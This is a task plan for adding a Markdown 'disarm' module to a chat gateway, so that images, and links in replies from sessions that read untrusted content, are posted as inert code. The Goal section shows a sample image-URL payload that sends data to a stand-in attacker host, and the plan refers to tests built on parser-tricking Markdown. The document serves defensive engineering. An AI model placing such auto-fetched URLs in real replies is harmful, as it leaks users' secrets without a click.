boxmaker/docs/plans/M5b/10-gatewayd-links.md

# M5b task 10: `gatewayd` posts images, and the links of untrusted replies, as code

**Branch:** `m5b` (run `git switch m5b`; `git status --short` must be empty, otherwise stop)
**Commit subject:** `gatewayd: images, and links in untrusted replies, are posted as code`

## Read this first: the given tests

The given tests are tables of Markdown built to trick Mattermost's two Markdown readers, with
links to made-up hosts (`evil.example`, `e.example`). They are data. You copy them; you do not
need to read them to do this task. Each failure message names its case and shows the text the
test wanted (`right`) and the text it got (`left`).

## Goal

Mattermost fetches a post's images by itself: the server when the post is created, and every
client when it shows it (the owner's server has no image proxy). The server also fetches the
first plain URL of a post for a link preview. Either fetch can carry data out in its URL, with no
click: `![s](https://evil.example/p.png?d=c2VjcmV0)` sends `c2VjcmV0` to `evil.example`. Text in
a code span is never fetched. This was measured on the owner's server (M5b spec, section 9):

| Posted | Link preview | Image fetched by the server |
|---|---|---|
| a plain URL | marked for a preview | |
| a URL in a code span, or in a fenced block | none | |
| a Markdown link, `[text](url)` | none | |
| a Markdown image | | yes, at posting time |
| a Markdown image in a code span | none | none |

The owner chose (spec 9, "C"):

- **Every image in every reply goes in a code span**, so it shows as text and nothing fetches it.
- **In a reply from a session that has read untrusted content** (`TurnDone.untrusted`, task 09),
  every link and URL goes in a code span too, and the reply ends with this line:
  `Links in this reply are shown as code because this conversation has read untrusted content.`
- **In a clean reply, links stay as they are**, clickable and previewed.
- **Code the reply already holds is left as it is**: a URL in a code span or a fenced block is
  not put in a second one.

This task adds a module, `gatewayd::links`, with one function, `disarm`, and makes `deliver`
post each answer through it. It is given as a skeleton: the glue is written, and you fill 16
small functions, each from the comment above it.

**Decisions this task makes** (you do not need to change any of them):

1. **Only answers pass through `disarm`**, the text the model wrote. Every other post of
   `gatewayd` is its own fixed text (`BUSY`, `LOOP_DOWN`, `INTERRUPTED`, the approval notices), or
   shows the model's text in code already (an approval's arguments are in a fenced block made by
   `approvals::text::fence`, its tool and grant in spans made by `approvals::text::code`), or is
   `loopd`'s own error text (`error_text`).
2. **The notice only when a link or URL was put in a code span.** An image alone does not bring
   it: images go in code spans in every reply, and the notice speaks of links. Nor does a reply
   whose links were all in code already. So `disarm` says, in `Disarmed.links`, whether it put a
   link in a code span, and a reply without one reads as the model wrote it.
3. **Disarm, split, disarm each part again.** `split_answer` cuts a long answer into posts of at
   most `MAX_POST` characters. Disarming first means the parts are cut from the text as it will be
   posted. But each post is rendered on its own: a cut inside a fenced block leaves the rest of
   the block as prose in the next post, where an image would be live. So each part is disarmed
   again. The second pass changes nothing else: the given tests check that `disarm` of its own
   output is that output. The notice goes once, after an empty line, at the end of the last post.

### Two readers, and why the rules are many

Two programs read a post's Markdown. The server (Go) follows CommonMark; it finds the images it
fetches and the URL it previews. The clients (web and desktop) render the post with a fork of
the JavaScript library marked (`mattermost/marked`, commit `c211e4c`), whose rules differ from
CommonMark in places: an unclosed fence is code only at times; `\r` ends a line; emphasis
(`**`), an HTML tag, inline LaTeX (`$…$`), a link, an autolink or a URL can take a backtick that
CommonMark would read as the start of a code span. A code span `disarm` trusts must be code to
both. So `disarm` leaves text alone only where both readers see code, and treats everything else
as prose: an image in it goes in a code span, even if one reader would have shown it as code
already. The worst that does is show a few backticks; it never leaves an image live.

Each rule is one small function, and each has cases in the given tests:

| Rule | Function | Tests |
|---|---|---|
| A fenced block is code only if both read it so: opened by 3 or more backticks or `~` after at most 3 spaces, with no backtick, `~` or `\|` after them; closed by a later line; no line between indented less than the opener; not continuing a list item or quote; no line before it starting with an HTML tag | `opener`, `closes`, `fence_end`, `nested_start`, `html_start` (and `disarm`, given) | `links_marked`: fences |
| A line ends at `\n`, `\r`, `\r\n` or U+2424; an empty line ends a paragraph, a line of spaces does not | `lines` and `Out::prose` (given) | `links_marked`: lines |
| A code span is code only if both read it so: its closing run on the same line, no `\|` inside, no backtick run whose length is a hazard, nothing that could close an emphasis, tag or LaTeX opened before it | `span_len`, `Seen::plain` | `links_marked`: spans, steals |
| A backslash escapes the next character if marked would | `escape_len` | `links`: images |
| Images: `![alt](url)`, with a size or title, `![alt][ref]`, `![alt][]`, `![ref]`, and a `![` with no `]` | `construct_len`, `bracket_end`, `paren_end` | `links`: images |
| Links (untrusted): `[text](url)`, `[text][ref]`, autolinks `<…>`, definitions `[ref]: url`, URLs with a scheme, `www.`, or a domain and a `/` | `construct_len`, `autolink_len`, `definition`, `url_len` (and `url_start`, given) | `links`: links |
| A new code span splits at line ends, `\|`, backticks, and closers seen before it; its runs are longer than any in the reply; it never touches a backtick, a backslash or a URL | `Out::wrap`, `Out::code` | `links`: ticks, images |

## Every place the answer is posted

| Place | What happens there |
|---|---|
| `crates/gatewayd/src/deliver.rs`, `one_turn` | reads `TurnDone.untrusted` into `Outcome::Answer` (edit D3) |
| `crates/gatewayd/src/deliver.rs`, `deliver` | posts `answer_posts` instead of `split_answer` (edit D5) |
| `crates/gatewayd/src/serve/handle.rs`, `start` | calls `deliver`; no change |
| `Outcome::Answer` anywhere else | nowhere: no other file names it |

## Files

- Copy, from `docs/plans/M5b/files/` (the same path under it):
  - the skeletons `crates/gatewayd/src/links/mod.rs` (you fill 7 functions) and
    `crates/gatewayd/src/links/inline.rs` (you fill 9)
  - tests: `crates/gatewayd/tests/links.rs`, `crates/gatewayd/tests/links_marked.rs`,
    `crates/gatewayd/tests/deliver_links.rs`
- Modify: `crates/gatewayd/src/lib.rs` (edit L1), `crates/gatewayd/src/deliver.rs` (edits D1 to
  D5), `docs/implementer-log.md`.
- Do not touch: any other source file, any `Cargo.toml`, the tests in
  `crates/gatewayd/tests/support/`, and in the skeletons anything but the 16 `todo!()` bodies.

## Facts you need

- **Offsets are bytes.** Every offset and length in the module is in bytes of UTF-8, and every
  slice is taken with `str::get` (`text.get(a..b)`), which gives `None` instead of panicking.
  Never write `text[a..b]`. The characters the rules look for (backticks, brackets, `<`, `|`,
  `\`, `$`, spaces) are all one byte, so the offset right after one of them is always a
  character boundary; for any other character use `c.len_utf8()`.
- **The skeleton's given code**, which you call and must not change:

  | Name | What it is |
  |---|---|
  | `BREAKS` | `[char; 3]`: `'\n'`, `'\r'`, `'\u{2424}'`; `text.contains(BREAKS)`, `BREAKS.contains(&c)` |
  | `content(line)` | `fn content(line: &str) -> &str`: the line without its line end |
  | `runs(text)` | `fn runs(text: &str) -> Vec<(usize, usize)>`: each backtick run as (byte offset, length) |
  | `Out` | `text: String` (what is written so far), `ticks: usize`, `links: bool` |
  | `Seen` | `hazards: Vec<usize>` (run lengths), `closers: Vec<char>` |
  | `closing(text, run)` | `fn closing(text: &str, run: usize) -> Option<usize>`: offset of the first run of exactly `run` backticks |
  | `window(text)` | `fn window(text: &str) -> &str`: at most the first `WINDOW` (2048) characters |
  | `reference_end(text)` | `fn reference_end(text: &str) -> Option<usize>`: `text` starts with `[`; offset of the `]` closing it, or `None` |
  | `ESCAPABLE`, `TRAILING` | `&str` of the characters marked escapes; `[char; 11]` a URL loses at its end |

- **The functions you fill, in the order to fill them**, with who calls them:

  | Function | Signature | Called by |
  |---|---|---|
  | `html_start` | `fn html_start(line: &str) -> bool` | `disarm` |
  | `nested_start` | `fn nested_start(line: &str) -> bool` | `disarm` |
  | `opener` | `fn opener(line: &str) -> Option<(usize, &str)>` | `fence_end` |
  | `closes` | `fn closes(line: &str, run: &str) -> bool` | `fence_end` |
  | `fence_end` | `fn fence_end(lines: &[&str], at: usize) -> Option<usize>` | `disarm` |
  | `Out::code` | `fn code(&mut self, piece: &str)` | `Out::wrap` |
  | `Out::wrap` | `fn wrap(&mut self, construct: &str, after: &str, closers: &[char])` | `Out::image` |
  | `Seen::plain` | `fn plain(&mut self, c: char)` | `Out::paragraph`, `Out::construct` |
  | `escape_len` | `fn escape_len(rest: &str) -> Option<usize>` | `Out::token` |
  | `paren_end` | `fn paren_end(text: &str) -> Option<usize>` | `construct_len` |
  | `bracket_end` | `fn bracket_end(text: &str, code: bool) -> Option<usize>` | `construct_len` |
  | `construct_len` | `fn construct_len(text: &str, bare: bool) -> Option<usize>` | `Out::token`, `Out::bracket` |
  | `span_len` | `fn span_len(rest: &str, seen: &Seen) -> Option<usize>` | `Out::backticks` |
  | `autolink_len` | `fn autolink_len(rest: &str) -> Option<usize>` | `Out::autolink` |
  | `definition` | `fn definition(rest: &str) -> bool` | `Out::token` |
  | `url_len` | `fn url_len(rest: &str, whole: bool) -> usize` | `Out::url` |

- **The calls the bodies need**, all in the standard library or given:

  | Call | Signature, and what it gives |
  |---|---|
  | `str::get` | `text.get(a..)`, `text.get(..b)`, `text.get(a..b)` → `Option<&str>`; `None` off a character boundary or past the end |
  | `str::chars`, `char_indices` | `text.chars().next()` → `Option<char>`; `text.char_indices()` yields `(byte offset, char)` |
  | `Iterator::take_while`, `count` | `rest.chars().take_while(\|&c\| c == '`').count()`: the length of the run `rest` starts with |
  | `Iterator::enumerate`, `skip`, `any`, `all` | `lines.iter().enumerate().skip(at + 1)`; `pairs.any(\|p\| …)`; `chars.all(\|c\| …)` |
  | `matches!` | `matches!(first, Some('>' \| '-' \| '*' \| '+' \| '0'..='9'))`: whether `first` fits the pattern |
  | `str::trim_start`, `trim`, `trim_start_matches`, `trim_end_matches` | `text.trim_start_matches(' ')`, `.trim_start_matches([' ', '\u{a0}'])`, `.trim_start_matches(\|c: char\| c.is_whitespace() \|\| ">-*+.)".contains(c))`, `.trim_end_matches(TRAILING)` |
  | `str::strip_prefix` | `rest.strip_prefix(run)`, `.strip_prefix('[')` → `Option<&str>`, the text after it |
  | `str::find`, `contains`, `starts_with`, `ends_with` | `rest.find('>')`, `rest.find(BREAKS)` → `Option<usize>`; `text.contains(['`', '~', '\|'])`, `content.contains(seen.closers.as_slice())`; `self.text.ends_with(\|c: char\| !c.is_whitespace())` |
  | `str::chars().count()` | the number of characters (not bytes) |
  | `str::eq_ignore_ascii_case` | `w.eq_ignore_ascii_case("www")` |
  | `str::repeat`, `String::push`, `push_str` | `"`".repeat(self.ticks)`; `self.text.push('\\')`; `self.text.push_str(piece)` |
  | `char` tests | `c.is_whitespace()`, `c.is_ascii_alphabetic()`, `c.is_ascii_digit()`, `c.len_utf8()` |
  | `Option` | `.filter(\|c\| …)`, `.and_then(f)`, `.or_else(\|\| …)`, `.is_some_and(f)`, `.is_none_or(f)`, `.unwrap_or(x)`, `.unwrap_or_default()`; `bool::then_some(x)` → `Some(x)` if true |
  | `usize::saturating_sub` | `depth.saturating_sub(1)`: never below 0 |
  | `Vec::contains`, `push` | `self.closers.contains(&c)`, `seen.hazards.contains(&run)` |

- **The skeleton compiles as given**, with warnings for the unfilled functions: unused variables;
  functions, a method and constants never used (`closing`, `reference_end`, `Out::code`,
  `ESCAPABLE`, `TRAILING` and the like); and the field `ticks` never read. They go as you fill the
  bodies.
- Until every body is filled, any call to `disarm` panics with `not yet implemented`. From step 3
  to step 5, run only the three new test files: the other `gatewayd` tests now post answers
  through `disarm` too.

## The edits, exactly

Nothing else in these files changes. Each quoted "before" block occurs exactly once in its file.

### `crates/gatewayd/src/lib.rs`

**L1.** The line

```rust
pub mod http;
```

becomes

```rust
pub mod http;
pub mod links;
```

### `crates/gatewayd/src/deliver.rs`

**D1.** The lines

```rust
use crate::mm::MmError;
use crate::mm::rest::Client;
```

become

```rust
use crate::links::{NOTICE, disarm};
use crate::mm::MmError;
use crate::mm::rest::Client;
```

**D2.** The line

```rust
    Answer(String),
```

becomes

```rust
    /// The reply, and whether its session has read untrusted content.
    Answer {
        content: String,
        untrusted: bool,
    },
```

**D3.** In `one_turn`, the lines

```rust
    // 3. `read_frame` until the end: (id 1, not final, TurnEvent) -> on_event; (1, final, TurnDone)
    //    -> Answer with its content; (1, final, Error) -> Refused; a read error -> LoopDown("the
    //    turn ended early: <e>"); anything else -> LoopDown("an unexpected frame").
```

become

```rust
    // 3. `read_frame` until the end: (id 1, not final, TurnEvent) -> on_event; (1, final, TurnDone)
    //    -> Answer with its content and untrusted; (1, final, Error) -> Refused; a read error ->
    //    LoopDown("the turn ended early: <e>"); anything else -> LoopDown("an unexpected frame").
```

and further down in `one_turn`, the line

```rust
            (true, Message::TurnDone(d)) => return Outcome::Answer(d.content.clone()),
```

becomes

```rust
            (true, Message::TurnDone(d)) => {
                return Outcome::Answer {
                    content: d.content.clone(),
                    untrusted: d.untrusted,
                };
            }
```

**D4.** The lines

```rust
/// Send one turn and read it to its end; `on_event` sees every event.
```

become

```rust
/// The posts of a reply: disarmed (M5b spec, section 9), then cut by `split_answer`. Each part is
/// disarmed again: a cut inside a fenced block leaves the rest of it as prose in the next post.
/// The last post ends with `NOTICE` if either pass put a link in a code span.
pub fn answer_posts(content: &str, untrusted: bool) -> Vec<String> {
    let whole = disarm(content, untrusted);
    let mut links = whole.links;
    let mut posts = Vec::new();
    for part in split_answer(&whole.text) {
        let again = disarm(&part, untrusted);
        links = links || again.links;
        posts.push(again.text);
    }
    if links && let Some(last) = posts.last_mut() {
        last.push_str("\n\n");
        last.push_str(NOTICE);
    }
    posts
}

/// Send one turn and read it to its end; `on_event` sees every event.
```

**D5.** In `deliver`, the line

```rust
    // Answer -> every part of `split_answer`, in order; Refused -> `error_text`;
```

becomes

```rust
    // Answer -> every post of `answer_posts`, in order; Refused -> `error_text`;
```

and the lines

```rust
        Outcome::Answer(content) => {
            for part in split_answer(&content) {
```

become

```rust
        Outcome::Answer { content, untrusted } => {
            for part in answer_posts(&content, untrusted) {
```

## Steps

- [ ] **1. Copy the given tests.** From the repository root, three commands:

  ```sh
  cp docs/plans/M5b/files/crates/gatewayd/tests/links.rs crates/gatewayd/tests/
  cp docs/plans/M5b/files/crates/gatewayd/tests/links_marked.rs crates/gatewayd/tests/
  cp docs/plans/M5b/files/crates/gatewayd/tests/deliver_links.rs crates/gatewayd/tests/
  ```

- [ ] **2. See them fail.** `cargo test -p gatewayd --test links --test links_marked --test
  deliver_links --no-fail-fast`: none compiles. Every error is `E0432`, an unresolved import:
  `gatewayd::links` in all three, and `answer_posts` in `deliver_links` as well.
- [ ] **3. The module and the edits.** Copy the two skeletons, then make edits L1 and D1 to D5:

  ```sh
  mkdir -p crates/gatewayd/src/links
  cp docs/plans/M5b/files/crates/gatewayd/src/links/mod.rs crates/gatewayd/src/links/
  cp docs/plans/M5b/files/crates/gatewayd/src/links/inline.rs crates/gatewayd/src/links/
  ```

  `cargo check -p gatewayd`: no error, only the warnings "Facts you need" describes. The command
  of step 2 now compiles; `links` has 6 failing tests and 1 passing (`the_notice_is_one_line`),
  `links_marked` 7 failing, `deliver_links` 9 failing, and every failure is
  `not yet implemented`.
- [ ] **4. Fill the seven functions of `mod.rs`, one at a time, in this order**, each from its
  comment, and run `cargo check -p gatewayd` after each: `html_start`, `nested_start`, `opener`,
  `closes`, `fence_end`, `Out::code`, `Out::wrap`.
- [ ] **5. Fill the nine functions of `inline.rs`, one at a time, in this order**, each from its
  comment, and run `cargo check -p gatewayd` after each: `Seen::plain`, `escape_len`,
  `paren_end`, `bracket_end`, `construct_len`, `span_len`, `autolink_len`, `definition`,
  `url_len`. Change nothing else in either file.
- [ ] **6. See them pass.** The command of step 2: `links` 7 passed, `links_marked` 7 passed,
  `deliver_links` 9 passed. Then `cargo test -p gatewayd`: every suite passes.
- [ ] **7. Run the gate.** `cargo fmt --all`, then `make gate`, with a shell timeout of 600000 ms.
  Expected last line: `gate: ok`, with 1081 tests: 1058 before this task, plus 7 in `links.rs`, 7
  in `links_marked.rs` and 9 in `deliver_links.rs`.
- [ ] **8. Log and commit.** `git status --short` lists `crates/gatewayd/src/lib.rs` and
  `crates/gatewayd/src/deliver.rs` as modified, and `crates/gatewayd/src/links/` and the three
  test files as new, besides your log. Stage with
  `git add crates/gatewayd docs/implementer-log.md Cargo.lock`, then commit as `AGENTS.md` says.
  `Cargo.lock` does not change in this task; the `git add` is harmless.

## Done when

- `make gate` prints `gate: ok` with 1081 tests.
- `git diff HEAD~1 --stat` lists only `crates/gatewayd/src/lib.rs`,
  `crates/gatewayd/src/deliver.rs`, the two files under `crates/gatewayd/src/links/`, the three
  new test files and `docs/implementer-log.md`.

## Stop and report if

- A "before" block of L1 or D1 to D5 is not in its file exactly as shown, or is there more than
  once.
- Step 2 or 3 shows a different result: other errors, other failing tests, or other counts.
- `cargo check -p gatewayd` reports an error after a body you filled, and the comment does not
  tell you how to fix it. Quote the error and the comment, and stop.
- A comment in a skeleton does not fit the code under it, or two comments contradict each other.
  Quote them and stop.
- After step 6 a test fails although each function follows its comment. Do not change a test, a
  table or the given code of the skeletons: stop, and give the failing tests' names and their
  messages.
- The fix seems to need a change anywhere else: in `bxcore`, another file of `gatewayd`, or a
  `Cargo.toml`. It does not; stop and say why you think so.
- A test outside `gatewayd` fails in the gate: check once whether it fails without your change,
  then stop and report both results.
- The gate passes with a count other than 1081.